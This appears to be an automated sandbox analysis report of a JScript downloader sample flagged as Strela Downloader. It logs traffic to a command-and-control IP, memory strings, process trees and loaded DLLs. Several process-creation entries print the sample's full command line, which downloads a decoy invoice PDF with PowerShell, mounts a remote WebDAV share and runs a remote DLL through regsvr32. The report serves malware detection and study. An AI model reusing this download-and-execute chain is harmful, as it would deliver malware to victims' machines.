HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2050504694.000001C6F456E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2111121789.000001E0BF46C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2111121789.000001E0BF46C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/K
Source: net.exe, 00000007.00000002.2111121789.000001E0BF46C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/W
Source: net.exe, 00000007.00000002.2111121789.000001E0BF440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s
Source: svchost.exe, 00000009.00000002.3348470752.0000015C91400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2111973005.0000015C91610000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5028, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 21092429235262508.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2824:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jw15fr2i.yr4.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21092429235262508.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1600,i,6608015978689636997,2706773790845116413,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1600,i,6608015978689636997,2706773790845116413,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
